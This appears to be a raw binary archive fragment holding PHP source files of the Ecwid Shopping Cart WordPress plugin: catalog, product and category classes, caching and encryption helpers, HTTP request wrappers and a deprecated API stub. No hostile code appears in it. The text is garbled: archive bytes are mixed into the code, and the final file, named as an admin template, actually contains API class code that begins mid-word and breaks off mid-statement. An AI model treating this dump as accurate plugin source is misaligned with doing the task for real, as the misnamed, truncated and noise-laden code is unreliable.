��)��ecwid-shopping-cart/lib/ecwid_catalog.phpnu�„[µü¤��������<?php class EcwidCatalog { var $store_id = 0; var $store_base_url = ''; public function __construct($store_id, $store_base_url) { $this->store_id = intval($store_id); $this->store_base_url = $store_base_url; } public function warmup_store_page( $category_id ) { $this->_get_data_for_category( $category_id, null ); } public function get_product($id) { $result = $this->_get_data_for_product($id); if ( !$result ) { return ''; } ob_start(); $product = $result->product; $formats = $result->formats; require dirname(__FILE__) . '/html-catalog-templates/product.php'; $return = ob_get_contents(); ob_end_clean(); return $return; } public function get_category($id) { $offset = ( isset($_GET['offset']) ) ? $_GET['offset'] : 0; $data = $this->_get_data_for_category( $id, $offset ); if ( !$data ) { return ''; } $main_category = null; if ($id > 0) { $main_category = $data->main_category; } $categories = $data->categories; $products = $data->products; $formats = $data->formats; ob_start(); require dirname(__FILE__) . '/html-catalog-templates/category.php'; $return = ob_get_contents(); ob_end_clean(); return $return; } protected function _get_data_for_product( $id ) { if ( Ecwid_Api_V3::is_available() ) { $api = new Ecwid_Api_V3(); $product = Ecwid_Product::get_by_id( $id ); $profile = $api->get_store_profile(); if (!$profile) { return null; } return (object) array( 'product' => $product, 'formats' => @$profile->formatsAndUnits ); } return null; } protected function _get_data_for_category( $id, $offset = 0 ) { if ( Ecwid_Api_V3::is_available() ) { $api = new Ecwid_Api_V3(); $main_category = null; if ($id > 0) { $main_category = $api->get_category( $id ); } $get_categories_params = array( 'parent' => $id ); if ($offset && $offset > 0) { $get_categories_params['offset'] = $offset; } $categories = $api->get_categories( $get_categories_params ); $get_products_params = array( 'category' => $id ); if ($offset) { $get_products_params['offset'] = $offset; } $products = $api->search_products( $get_products_params ); $profile = $api->get_store_profile(); if ( is_null( $profile ) || !isset( $categories->items ) || !isset( $products->items ) ) { return null; } return (object) array( 'main_category' => $main_category, 'categories' => $categories->items, 'products' => $products->items, 'formats' => @$profile->formatsAndUnits ); } return null; } public function parse_escaped_fragment($escaped_fragment) { $fragment = urldecode($escaped_fragment); $return = array(); if (preg_match('/^(\/~\/)([a-z]+)\/(.*)$/', $fragment, $matches)) { parse_str($matches[3], $return); $return['mode'] = $matches[2]; } elseif (preg_match('!.*/(p|c)/([0-9]*)!', $fragment, $matches)) { if (count($matches) == 3 && in_array($matches[1], array('p', 'c'))) { $return = array( 'mode' => 'p' == $matches[1] ? 'product' : 'category', 'id' => $matches[2] ); } } return $return; } } PK������Ê—[W.®LÞ��Þ��*��ecwid-shopping-cart/lib/ecwid_category.phpnu�„[µü¤��������<?php require_once dirname(__FILE__) . '/ecwid_catalog_entry.php'; class Ecwid_Category extends Ecwid_Catalog_Entry { protected static $categories = array(); protected $_cache_name_prefix = 'ecwid-category-'; protected $_link_prefix = 'c'; public static function usort_callback() { return array( 'Ecwid_Category', 'usort_categories_orderby' ); } public static function usort_categories_orderby( $a, $b ) { return @$a->orderBy > @$b->orderBy; } protected function _get_from_local_object_cache( $id ) { if ( isset( self::$categories[$id] ) ) { return self::$categories[$id]; } return null; } protected function _put_into_local_object_cache( $obj ) { if ( !isset( $obj->id ) ) { return false; } self::$categories[$obj->id] = $obj; } public static function from_stdclass( $data ) { $entry = new Ecwid_Category(); $entry->_init_from_stdclass( $data ); $entry->_put_into_local_object_cache( $entry ); } public static function get_by_id( $id ) { $e = new Ecwid_Category(); if ( $cat = $e->_get_from_local_object_cache($id) ) { return $cat; } $entry_data = $e->_get_from_cache( $id ); if ( !$entry_data ) { $e->_load($id); } else { $e->_init_from_stdclass( $entry_data ); } if ( !$e->_data ) { return null; } $e->_put_into_local_object_cache($e); return $e; } protected function _get_from_cache( $id ) { return EcwidPlatform::get_from_categories_cache( $this->_get_cache_key_by_id( $id ) ); } protected function _init_from_stdclass( $data ) { $this->_data = $data; EcwidPlatform::store_in_categories_cache( $this->_get_cache_key_by_id( $data->id ), $data ); } protected function _load($id) { $data = null; if ( Ecwid_Api_V3::is_available() ) { $api = new Ecwid_Api_V3(); $data = $api->get_category($id); if ( $data && Ecwid_Seo_Links::is_enabled() ) { $data->seo_link = $data->url; } } if ($data) { $this->_init_from_stdclass($data); } return $data; } }PK������Ê—[ûkÊ3��3��*��ecwid-shopping-cart/lib/ecwid_platform.phpnu�„[µü¤��������<?php require_once 'ecwid_requests.php'; require_once ECWID_PLUGIN_DIR . 'lib/phpseclib/AES.php'; class EcwidPlatform { static protected $http_use_streams = false; static protected $crypt = null; static protected $ecwid_plugin_data = null; const FORCES_CATALOG_CACHE_RESET_VALID_FROM = 'forced_catalog_cache_reset_valid_from'; const CATEGORIES_CACHE_VALID_FROM = 'categories_cache_valid_from'; const PRODUCTS_CACHE_VALID_FROM = 'products_cache_valid_from'; const PROFILE_CACHE_VALID_FROM = 'profile_cache_valid_from'; const CATALOG_CACHE_VALID_FROM = 'catalog_valid_from'; const OPTION_LOG_CACHE = 'ecwid_log_cache'; const OPTION_ECWID_PLUGIN_DATA = 'ecwid_plugin_data'; static public function get_store_id() { return get_ecwid_store_id(); } static public function init_crypt($force = false) { if ( $force || is_null(self::$crypt) ) { self::$crypt = new Ecwid_Crypt_AES(); self::_init_crypt(); } } /* * @throws InvalidArgumentException if $file can't be slugified at all */ static public function enqueue_script( $file, $deps = array(), $in_footer = false, $handle = false ) { $filename = $file; if ( strpos( $file, '.js' ) == strlen( $file ) - 3 ) { $filename = substr( $filename, 0, strlen( $file ) - 3 ); } $handle = self::make_handle( $file ); $filename .= '.js'; if ( defined( 'WP_DEBUG' ) ) { $path = ECWID_PLUGIN_DIR . 'js/' . $filename; $ver = filemtime( $path ); } else { $ver = get_option( 'ecwid_plugin_version' ); } wp_enqueue_script( $handle, ECWID_PLUGIN_URL . 'js/' . $filename, $deps, $ver, $in_footer ); } static public function make_handle( $file ) { $filename = $file; if ( strpos( $file, '.js' ) == strlen( $file ) - 3 ) { $filename = substr( $filename, 0, strlen( $file ) - 3 ); } $prefix = 'ecwid-'; if ( strpos( $file, $prefix ) === 0 ) { $filename = substr( $filename, strlen( $prefix ) ); } $handle = self::slugify( $filename ); $handle = $prefix . $handle; return $handle; } /* * @throws InvalidArgumentException if $file can't be slugified at all */ static public function enqueue_style( $file, $deps = array(), $handle = false ) { $filename = $file; if ( strpos( $file, '.css' ) == strlen( $file ) - 4 ) { $filename = substr( $filename, 0, strlen( $file ) - 4 ); } if ( !$handle ) { $handle = self::slugify( $filename ); } $handle = 'ecwid-' . $handle; $file = $filename . '.css'; if ( defined( 'WP_DEBUG' ) ) { $path = ECWID_PLUGIN_DIR . 'css/' . $file; $ver = filemtime( $path ); } else { $ver = get_option( 'ecwid_plugin_version' ); } wp_enqueue_style( $handle, ECWID_PLUGIN_URL . 'css/' . $file, $deps, $ver ); } static public function slugify( $string ) { $match = array(); $result = preg_match_all( '#[\p{L}0-9\-_]+#u', strtolower( $string ), $match ); if ( $result && count( @$match[0] ) > 0 ) { $handle = implode('-', $match[0] ); } else { throw new InvalidArgumentException( 'Can\'t make slug from ' . $string ); } return $handle; } static protected function _init_crypt() { $salt = ''; // It turns out sometimes there is no salt is wp-config. And since it is already seeded // with the SECURE_AUTH_KEY, and to avoid breaking someones encryption // we use 'SECURE_AUTH_SALT' as string if ( defined( 'SECURE_AUTH_SALT' ) ) { $salt = SECURE_AUTH_SALT; } else { $salt = 'SECURE_AUTH_SALT'; } self::$crypt->setIV( substr( md5( $salt . get_option('ecwid_store_id') ), 0, 16 ) ); self::$crypt->setKey( SECURE_AUTH_KEY ); } static public function encrypt($what) { self::init_crypt(); return self::$crypt->encrypt($what); } static public function decrypt($what) { self::init_crypt(); return self::$crypt->decrypt($what); } static public function esc_attr($value) { return esc_attr($value); } static public function esc_html($value) { return esc_html($value); } static public function cache_log_record( $operation, $params ) { if ( !get_option( self::OPTION_LOG_CACHE, false ) ) { return; } if (!$params) $params = array(); $backtrace = debug_backtrace(false); $file = $line = ''; foreach ( $backtrace as $entry ) { if ( strpos( @$entry['file'], 'ecwid_platform.php' ) !== false ) { continue; } @$file = $entry['file']; @$line = $entry['line']; } $log_entry = array( 'operation' => $operation, 'file' => $file, 'line' => $line, 'timestamp' => time() ); $log_entry = array_merge( $log_entry, $params ); $cache = get_option( 'ecwid_cache_log' ); if (!$cache) { $cache = array(); } $cache[] = $log_entry; update_option('ecwid_cache_log', $cache ); } static public function get_price_label() { return __('Price', 'ecwid-shopping-cart'); } static public function cache_get($name, $default = false) { $result = get_transient('ecwid_' . $name); self::cache_log_record( 'get', array( 'name' => $name, 'default' => $default, 'result' => $result ) ); if ($default !== false && $result === false) { return $default; } return $result; } static public function cache_set($name, $value, $expires_after = 0) { self::cache_log_record( 'set', array( 'name' => $name, 'value' => $value, 'expires' => $expires_after ) ); set_transient('ecwid_' . $name, $value, $expires_after); } static public function cache_reset($name) { self::cache_log_record( 'reset', array( 'name' => $name ) ); delete_transient('ecwid_' . $name); } static public function parse_args($args, $defaults) { return wp_parse_args($args, $defaults); } static public function report_error($error) { ecwid_log_error(json_encode($error)); } static public function fetch_url($url, $options = array()) { $default_timeout = 10; if (get_option('ecwid_http_use_stream', false)) { self::$http_use_streams = true; } $result = wp_remote_get( $url, array_merge( array( 'timeout' => get_option( 'ecwid_remote_get_timeout', $default_timeout ) ), $options ) ); if (get_option('ecwid_http_use_stream', false)) { self::$http_use_streams = false; } $return = array( 'code' => '', 'data' => '', 'message' => '' ); if (is_string($result)) { $return['code'] = 200; $return['data'] = $result; } if (is_array($result)) { $return = array( 'code' => $result['response']['code'], 'data' => $result['body'] ); } elseif (is_object($result)) { $return = array( 'code' => $result->get_error_code(), 'data' => $result->get_error_data(), 'message' => $result->get_error_message() ); } return $return; } static public function http_get_request($url) { return self::fetch_url($url); } static public function http_post_request($url, $data = array(), $params = array()) { $result = null; $args = array(); if ( !empty( $params ) ) { $args = $params; } $args['body'] = $data; if ( get_option('ecwid_http_use_stream', false) !== true) { $result = wp_remote_post( $url, $args ); } if ( !is_array($result) ) { self::$http_use_streams = true; $result = wp_remote_post( $url, $args ); self::$http_use_streams = false; if ( is_array($result) ) { update_option('ecwid_http_use_stream', true); } } return $result; } static public function get( $name, $default = null ) { if ( !self::$ecwid_plugin_data ) { self::$ecwid_plugin_data = get_option( self::OPTION_ECWID_PLUGIN_DATA ); } if ( is_array( self::$ecwid_plugin_data ) && array_key_exists( $name, self::$ecwid_plugin_data ) ) { return self::$ecwid_plugin_data[$name]; } return $default; } static public function set( $name, $value ) { if ( is_null( self::$ecwid_plugin_data ) ) { self::$ecwid_plugin_data = get_option( self::OPTION_ECWID_PLUGIN_DATA ); } if ( !is_array( self::$ecwid_plugin_data ) ) { self::$ecwid_plugin_data = array(); } self::$ecwid_plugin_data[$name] = $value; update_option( self::OPTION_ECWID_PLUGIN_DATA, self::$ecwid_plugin_data ); } static public function reset( $name ) { if ( !self::$ecwid_plugin_data ) { self::$ecwid_plugin_data = get_option( self::OPTION_ECWID_PLUGIN_DATA ); } $options = get_option( self::OPTION_ECWID_PLUGIN_DATA ); if ( !is_array( self::$ecwid_plugin_data ) || !array_key_exists( $name, self::$ecwid_plugin_data ) ) { return; } unset( self::$ecwid_plugin_data[$name] ); update_option( self::OPTION_ECWID_PLUGIN_DATA, self::$ecwid_plugin_data ); } static public function http_api_transports($transports) { if (self::$http_use_streams) { return array('streams'); } return $transports; } static public function store_in_products_cache( $url, $data ) { self::_store_in_cache($url, 'products', $data); } static public function store_in_categories_cache( $url, $data ) { self::_store_in_cache($url, 'categories', $data); } static public function store_in_catalog_cache( $url, $data ) { self::_store_in_cache($url, 'catalog', $data); } static protected function _store_in_cache( $url, $type, $data ) { $name = self::_build_cache_name( $url, $type ); $to_store = array( 'time' => time(), 'data' => $data ); self::cache_set( $name, $to_store, MONTH_IN_SECONDS ); self::cache_log_record( 'store_in_entity_cache', array( 'name' => $url, 'type' => $type, 'data' => $data ), 'set' ); } static public function get_from_categories_cache( $key ) { $cache_name = self::_build_cache_name( $key, 'categories' ); $result = self::cache_get( $cache_name ); self::cache_log_record( 'get_from_categories_cache', array( 'name' => $key, 'result' => $result, 'valid_from' => EcwidPlatform::get( self::CATEGORIES_CACHE_VALID_FROM ) ) ); if ( $result['time'] > EcwidPlatform::get( self::CATEGORIES_CACHE_VALID_FROM ) ) { return $result['data']; } return false; } static public function get_from_products_cache( $key ) { $cache_name = self::_build_cache_name( $key, 'products' ); $result = self::cache_get( $cache_name ); self::cache_log_record( 'get_from_products_cache', array( 'name' => $key, 'result' => $result, 'valid_from' => EcwidPlatform::get( self::CATEGORIES_CACHE_VALID_FROM ) ) ); if ( $result['time'] > EcwidPlatform::get( self::PRODUCTS_CACHE_VALID_FROM ) ) { return $result['data']; } return false; } static public function get_from_catalog_cache( $key ) { $cache_name = self::_build_cache_name( $key, 'catalog' ); $result = self::cache_get( $cache_name ); $valid_from = max( EcwidPlatform::get( self::CATEGORIES_CACHE_VALID_FROM ), EcwidPlatform::get( self::PRODUCTS_CACHE_VALID_FROM ), EcwidPlatform::get( self::PROFILE_CACHE_VALID_FROM ), EcwidPlatform::get( self::FORCES_CATALOG_CACHE_RESET_VALID_FROM ) ); self::cache_log_record( 'get_from_catalog_cache', array( 'name' => $key, 'result' => $result, 'valid_from' => $valid_from ) ); if ( EcwidPlatform::get( self::CATALOG_CACHE_VALID_FROM ) > $valid_from ) { return $result['data']; } return false; } static public function is_catalog_cache_trusted() { $valid_from = max( EcwidPlatform::get( self::CATEGORIES_CACHE_VALID_FROM ), EcwidPlatform::get( self::PRODUCTS_CACHE_VALID_FROM ), EcwidPlatform::get( self::PROFILE_CACHE_VALID_FROM ) ); self::cache_log_record( 'is_trusted', array( 'result' => time() - $valid_from > 10, 'time' => time(), 'cats' => EcwidPlatform::get( self::CATEGORIES_CACHE_VALID_FROM ), 'prods' => EcwidPlatform::get( self::PRODUCTS_CACHE_VALID_FROM ))); return time() - $valid_from > 10; } static protected function _build_cache_name( $url, $type ) { return $type . '_' . md5($url); } static protected function _invalidate_cache_from( $name, $time ) { $time = is_null( $time ) ? time() : $time; $old = EcwidPlatform::get( $name ); if ( $old > $time) return; EcwidPlatform::set( $name, $time ); self::cache_log_record( 'invalidate_cache_' . $name, array( 'time' => $time ) ); } static public function invalidate_products_cache_from( $time = null ) { self::_invalidate_cache_from( self::PRODUCTS_CACHE_VALID_FROM, $time ); } static public function invalidate_categories_cache_from( $time = null ) { self::_invalidate_cache_from( self::CATEGORIES_CACHE_VALID_FROM, $time ); } static public function invalidate_profile_cache_from( $time = null ) { self::_invalidate_cache_from( self::PROFILE_CACHE_VALID_FROM, $time ); } static public function invalidate_catalog_cache_from( $time = null ) { self::_invalidate_cache_from( self::CATALOG_CACHE_VALID_FROM, $time ); } static public function force_catalog_cache_reset( $time = null ) { $time = is_null( $time ) ? time() : $time; EcwidPlatform::set( self::FORCES_CATALOG_CACHE_RESET_VALID_FROM, $time ); } } add_filter('http_api_transports', array('EcwidPlatform', 'http_api_transports')); PK������Ê—[d:¹!“��“��-��ecwid-shopping-cart/lib/ecwid_product_api.phpnu�„[µü¤��������<?php /* * This API is deprecated. Please use the official Ecwid API to extend your plugin functionality: * https://developers.ecwid.com/api-documentation * If you have any feedback on the Ecwid WordPress plugin or the Ecwid API, please contact us at plugins-feedback@ecwid.com */ _deprecated_file( basename( __FILE__ ), '6.8.1', 'the official API (https://developers.ecwid.com/api-documentation)' ); class EcwidProductApi { function __construct($store_id) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_request($url) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function process_request($url) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_all_categories() { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_subcategories_by_id($parent_category_id = 0) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_all_products() { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_products_by_category_id($category_id = 0) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_product($product_id) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_product_https($product_id) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_category($category_id) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_batch_request($params) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_random_products($count) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_profile() { _deprecated_function( __FUNCTION__, '6.8.1' ); } function is_api_enabled() { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_method_response_stream($method) { _deprecated_function( __FUNCTION__, '6.8.1' ); } } ?>PK������Ê—[4îÀ†% ��% ��)��ecwid-shopping-cart/lib/ecwid_product.phpnu�„[µü¤��������<?php require_once dirname(__FILE__) . '/ecwid_catalog_entry.php'; class Ecwid_Product extends Ecwid_Catalog_Entry { protected static $products = array(); protected $_cache_name_prefix = 'ecwid-product-'; protected $_link_prefix = 'p'; public static function get_by_id( $id ) { $p = new Ecwid_Product(); $product_data = $p->_get_from_cache( $id ); if ( !$product_data ) { $p->_load($id); if ( !$p->_data ) { return null; } $p->_persist(); } else { $p->_data = $product_data; } return $p; } public static function get_random_product() { $total = EcwidPlatform::get_from_products_cache( 'ecwid_total_products' ); $all_products = false; if ( $total < 100 && $total > 0 && EcwidPlatform::get_from_products_cache( 'ecwid_all_products_request' ) ) { $all_products = EcwidPlatform::get_from_products_cache( EcwidPlatform::get_from_products_cache( 'ecwid_all_products_request' ) ); } if ( $all_products ) { $index = rand( 0, $total - 1 ); $result = json_decode( $all_products['data'] ); $random_product_id = $result->items[$index]->id; } else { $index = rand( 0, $total ); $offset = floor($index / 100) * 100; $api = new Ecwid_Api_V3(); $result = $api->search_products( array( 'offset' => $offset ) ); if ( !@$result->items ) { return null; } if( count($result->items) < ($index - $offset) ) { $random_product = current($result->items); $random_product_id = $random_product->id; } else { $random_product_id = $result->items[$index - $offset]->id; } } return Ecwid_Product::get_by_id( $random_product_id ); } public static function get_without_loading($id, $fallback_object = null) { $p = new Ecwid_Product(); $product_data = $p->_get_from_cache( $id ); if ( !$product_data ) { if ( $fallback_object ) { $product_data = $fallback_object; } else { $product_data = new stdClass(); } $product_data->id = $id; } $p->_data = $product_data; return $p; } public static function init_from_stdclass( $data ) { $p = new Ecwid_Product(); $p->_data = $data; $p->_persist(); return $p; } public static function preload_by_ids($ids) { if ( !is_array( $ids ) || empty( $ids ) || !Ecwid_Api_V3::is_available() ) { return; } $ids_string = implode( ',', $ids ); $api = new Ecwid_Api_V3(); $data = $api->search_products( array( 'productId' => $ids_string ) ); if ($data && $data->count > 0) { foreach($data->items as $product_data){ $p = new Ecwid_Product(); $p->_data = $product_data; $p->_persist(); } } } protected function _get_from_cache( $id ) { return EcwidPlatform::get_from_products_cache( $this->_get_cache_key_by_id( $id ) ); } protected function _load( $id ) { $data = null; if ( Ecwid_Api_V3::is_available() ) { $api = new Ecwid_Api_V3(); $data = $api->get_product($id); if ( $data && Ecwid_Seo_Links::is_enabled() ) { $data->seo_link = $data->url; } } if ($data) { $this->_data = $data; } return $data; } protected function _persist() { if ( !property_exists( $this->_data, 'id' ) ) { return; } EcwidPlatform::store_in_products_cache( $this->_get_cache_key_by_id( $this->_data->id ), $this->_data ); } }PK������Ê—[÷½ú Ã��Ã��*��ecwid-shopping-cart/lib/ecwid_requests.phpnu�„[µü¤��������<?php abstract class Ecwid_Http { protected $name = ''; protected $url = ''; protected $policies; protected $is_error = false; protected $error_message = ''; protected $raw_result; protected $processed_data; protected $timeout; protected $jsonp_callback = null; protected $code; protected $message; protected $headers; protected $error; const TRANSPORT_CHECK_EXPIRATION = 86400; /** * No error handling whatsoever */ const POLICY_IGNORE_ERRORS = 'ignore_errors'; /** * Data sent and received will be treated like jsonp */ const POLICY_RETURN_JSON = 'return_json'; /** * Data received will be interpreted as json array */ const POLICY_RETURN_JSON_ARRAY = 'expect_json_array'; /** * Data sent and received will be treated like jsonp */ const POLICY_EXPECT_JSONP = 'expect_jsonp'; /** * Returns all response data with headers and such instead of data only */ const POLICY_RETURN_VERBOSE = 'return_verbose'; abstract protected function _do_request($url, $args); public function __construct($name, $url, $policies) { $this->name = $name; $this->url = $url; $this->policies = $policies; } public function get_response_meta() { return array( 'data' => $this->raw_result, 'code' => $this->code, 'message' => $this->message, 'headers' => $this->headers ); } public function do_request($args = array()) { $url = $this->_preprocess_url($this->url); $data = $this->_do_request($url, $args); if ( is_null( $data ) || $this->is_error ) { return null; } $this->_process_data($data); return $this->processed_data; } public static function create_get($name, $url, $params) { $transport_class = self::_get_transport(); $transport = new $transport_class($name, $url, $params); return $transport; } public static function create_post($name, $url, $params) { $transport_class = self::_post_transport(); $transport = new $transport_class($name, $url, $params); return $transport; } protected static function _set_transport_for_request($name, $transport) { EcwidPlatform::set('get_transport_' . $name, $transport); } protected static function _get_transport_for_request($name) { return EcwidPlatform::get('get_transport_' . $name); } protected static function _get_transport() { return 'Ecwid_HTTP_Get_WpRemoteGet'; } protected static function _post_transport() { return 'Ecwid_HTTP_Post_WpRemotePost'; } protected function _trigger_error() { $this->is_error = true; $this->error = $this->raw_result; self::_set_transport_for_request($this->name, null); if ( $this->_has_policy(self::POLICY_IGNORE_ERRORS) ) { return false; } return true; } protected function _has_policy( $policy ) { return in_array( $policy, $this->policies ); } protected function _process_data($raw_data) { $result = $raw_data; if ( in_array( self::POLICY_EXPECT_JSONP, $this->policies ) ) { $prefix_length = strlen($this->jsonp_callback . '('); $suffix_length = strlen(');'); $result = substr($raw_data, $prefix_length, strlen($result) - $suffix_length - $prefix_length - 1); $result = json_decode($result); } if ( in_array( self::POLICY_RETURN_JSON_ARRAY, $this->policies ) ) { $result = json_decode($raw_data, true); } if ( in_array( self::POLICY_RETURN_JSON, $this->policies ) ) { $result = json_decode($raw_data); } if ( $this->_has_policy( self::POLICY_RETURN_VERBOSE ) ) { $result = $this->get_response_meta(); $result['data'] = $raw_data; } $this->processed_data = $result; } protected function _preprocess_url($url) { if ( in_array( 'expect_jsonp', $this->policies ) ) { $this->jsonp_callback = 'jsoncallback' . time(); $url .= '&callback=' . $this->jsonp_callback; } return $url; } } abstract class Ecwid_HTTP_Get extends Ecwid_Http { protected function _trigger_error() { $continue = parent::_trigger_error(); if (!$continue) { return false; } update_option('ecwid_remote_get_fails', 1); ecwid_log_error($this->message); } } class Ecwid_HTTP_Get_WpRemoteGet extends Ecwid_HTTP_Get { protected function _do_request($url, $args) { $this->raw_result = wp_remote_get( $url, $args ); if (is_wp_error($this->raw_result)) { $this->error = $this->raw_result; $this->_trigger_error(); return $this->raw_result; } $this->code = $this->raw_result['response']['code']; $this->message = $this->raw_result['response']['message']; $this->headers = $this->raw_result['headers']; return $this->raw_result['body']; } protected function _trigger_error() { if (is_wp_error($this->error)) { $a = new WP_Error; $this->error_message = $this->error->get_error_message(); } return parent::_trigger_error(); } } abstract class Ecwid_HTTP_Post extends Ecwid_Http { } class Ecwid_HTTP_Post_WpRemotePost extends Ecwid_Http_Post { protected function _do_request($url, $args) { $this->raw_result = wp_remote_post( $url, $args ); if (is_wp_error($this->raw_result)) { $this->_trigger_error(); return $this->raw_result; } $this->code = $this->raw_result['response']['code']; $this->message = $this->raw_result['response']['message']; $this->headers = $this->raw_result['headers']; return $this->raw_result['body']; } }PK������Ê—[ñ|G¦J*��J*��B��ecwid-shopping-cart/templates/admin/storefront/area-additional.phpnu�„[µü¤��������onst API_STATUS_ERROR_OTHER = 'fail_other'; const API_STATUS_ERROR_TOKEN = 'fail_token'; const FEATURE_NEW_PRODUCT_LIST = 'NEW_PRODUCT_LIST'; const FEATURE_PRODUCT_FILTERS = 'PRODUCT_FILTERS'; const FEATURE_PRODUCT_SUBTITLES = 'PRODUCT_SUBTITLES_FEATURE'; public static function get_api_status_list() { return array( self::API_STATUS_UNDEFINED, self::API_STATUS_OK, self::API_STATUS_ERROR_TOKEN, self::API_STATUS_ERROR_TLS, self::API_STATUS_ERROR_OTHER ); } const FEATURE_VARIATIONS = 'COMBINATIONS'; const FEATURE_NEW_DETAILS_PAGE = 'NEW_DETAILS_PAGE'; public $store_id = null; protected static $profile = null; protected $_api_url; protected $_stores_api_url; protected $_categories_api_url; protected $_products_api_url; protected $_profile_api_url; protected $_starter_site_api_url; public function __construct() { $this->store_id = EcwidPlatform::get_store_id(); $this->_api_url = 'https://' . Ecwid_Config::get_api_domain() . '/api/v3/'; $this->_stores_api_url = $this->_api_url . 'stores'; $this->_categories_api_url = $this->_api_url . $this->store_id . '/categories'; $this->_products_api_url = $this->_api_url . $this->store_id . '/products'; $this->_profile_api_url = $this->_api_url . $this->store_id . '/profile'; $this->_starter_site_api_url = $this->_api_url . $this->store_id . '/startersite'; $this->_batch_requests_api_url = $this->_api_url . $this->store_id . '/batch'; add_option( self::OPTION_API_STATUS, self::API_STATUS_UNDEFINED ); } public static function is_available() { $status = self::get_api_status(); return self::check_api_status(); } public static function connection_fails() { $status = self::get_api_status(); return in_array( $status, array( self::API_STATUS_ERROR_OTHER, self::API_STATUS_ERROR_TLS ) ); } public static function reset_api_status() { update_option( self::OPTION_API_STATUS, self::API_STATUS_UNDEFINED ); } public static function set_api_status( $new_status ) { if ( in_array( $new_status, self::get_api_status_list() ) ) { update_option( self::OPTION_API_STATUS, $new_status ); } return $new_status == self::API_STATUS_OK; } public static function get_api_status() { return get_option( self::OPTION_API_STATUS ); } public static function check_api_status() { if( ecwid_is_demo_store() ) { return self::set_api_status( self::API_STATUS_OK ); } $api = new Ecwid_Api_V3(); $token = self::_load_token(); if ( !$token ) { return self::set_api_status( self::API_STATUS_ERROR_TOKEN ); } $update_stats = EcwidPlatform::cache_get( self::UPDATE_STATS_CACHE_NAME ); if( !$update_stats ) { $update_stats = $api->get_store_update_stats(); EcwidPlatform::cache_set( self::UPDATE_STATS_CACHE_NAME, $update_stats, 60 * 5 ); } if ( $update_stats ) { return self::set_api_status( self::API_STATUS_OK ); } $transports = stream_get_transports(); $tls_fails = true; foreach ( $transports as $transport ) { $matches = array(); $is_tls = preg_match( '!tlsv(.*)!', $transport, $matches ); if ( $is_tls ) { if ( version_compare( $matches[1], '1.1', '>=' ) ) { $tls_fails = false; break; } } } if (-$tls_fails ) { return self::set_api_status( self::API_STATUS_ERROR_TLS ); } return self::set_api_status( self::API_STATUS_ERROR_OTHER ); } public static function save_token($token) { if (!$token) { update_option( self::TOKEN_OPTION_NAME, '' ); } else { EcwidPlatform::init_crypt( true ); $value = base64_encode( EcwidPlatform::encrypt( $token ) ); update_option( self::TOKEN_OPTION_NAME, $value ); } self::reset_api_status(); } public function get_categories($input_params) { if( ecwid_is_demo_store() && !ecwid_get_demo_store_public_key() ) { return false; } $params = array('token'); if (array_key_exists('parent', $input_params)) { $params['parent'] = $input_params['parent']; } $passthru = array( 'offset', 'limit', 'parent', 'baseUrl', 'cleanUrls', 'hidden_categories' ); foreach ($passthru as $name) { if ( array_key_exists( $name, $input_params ) ) { $params[$name] = $input_params[$name]; } } if ( !isset( $params['baseUrl'] ) ) { $params['baseUrl'] = Ecwid_Store_Page::get_store_url(); } if ( Ecwid_Seo_Links::is_enabled() ) { $params['cleanUrls'] = 'true'; } $url = $this->build_request_url( $this->_categories_api_url, $params ); $result = EcwidPlatform::get_from_categories_cache($url); if ( !$result ) { $result = EcwidPlatform::fetch_url( $url ); } if ($result['code'] != '200') { return false; } EcwidPlatform::store_in_categories_cache( $url, $result ); $result = json_decode( $result['data'] ); if ( !empty( $result->items ) ) { foreach ( $result->items as $item ) { if (Ecwid_Seo_Links::is_enabled()) { $item->seo_link = $item->url; } Ecwid_Category::from_stdclass( $item ); } } return $result; } public function has_public_categories() { $cats = $this->get_categories( array( 'limit' => 1 ) ); if( !isset($cats->total) ) return false; return $cats->total > 0; } public function get_category( $categoryId ) { if (!isset($categoryId) || $categoryId == 0 ) { return false; } $params = array('token'); if ( !isset( $params['baseUrl'] ) ) { $params['baseUrl'] = Ecwid_Store_Page::get_store_url(); } if ( Ecwid_Seo_Links::is_enabled() ) { $params['cleanUrls'] = 'true'; } $url = $this->build_request_url( $this->_categories_api_url . '/' . $categoryId, $params ); $result = EcwidPlatform::get_from_categories_cache( $url ); if ( !$result ) { $result = EcwidPlatform::fetch_url( $url ); } if ($result['code'] != '200') { return false; } EcwidPlatform::store_in_categories_cache( $url, $result ); $result = json_decode( $result['data'] ); return $result; } public function get_product( $product_id ) { if ( !$product_id ) { return false; } $params = array('token'); if ( !isset( $params['baseUrl'] ) ) { $params['baseUrl'] = Ecwid_Store_Page::get_store_url(); } if ( Ecwid_Seo_Links::is_enabled() ) { $params['cleanUrls'] = 'true'; } else { $params['cleanUrls'] = 'false'; } $url = $this->build_request_url( $this->_products_api_url . '/' . $product_id, $params ); $result = EcwidPlatform::get_from_products_cache( $url ); if (!$result) { $result = EcwidPlatform::fetch_url( $url ); if ($result['code'] != '200') { return false; } EcwidPlatform::store_in_products_cache( $url, $result ); } $result = json_decode($result['data']); return $result; } public function search_products($input_params) { $params = array('token'); $passthru = array( 'updatedFrom', 'offset', 'limit', 'sortBy', 'keyword', 'baseUrl', 'cleanUrls', 'category', 'productId' ); foreach ($passthru as $name) { if ( array_key_exists( $name, $input_params ) ) { $params[$name] = (string)$input_params[$name]; } } if ( !isset( $params['baseUrl'] ) ) { $params['baseUrl'] = Ecwid_Store_Page::get_store_url(); } if ( Ecwid_Seo_Links::is_enabled() ) { $params['cleanUrls'] = 'true'; } $params['enabled'] = 'true'; if (EcwidPlatform::get('hide_out_of_stock')) { $params['inStock'] = 'true'; } $url = $this->build_request_url( $this->_products_api_url, $params ); $result = EcwidPlatform::get_from_products_cache( $url ); if (!$result ) { $result = EcwidPlatform::fetch_url( $url ); if ($result['code'] != '200') { return false; } EcwidPlatform::store_in_products_cache( $url, $result ); } $result = json_decode($result['data']); if ( !empty( $result->items ) 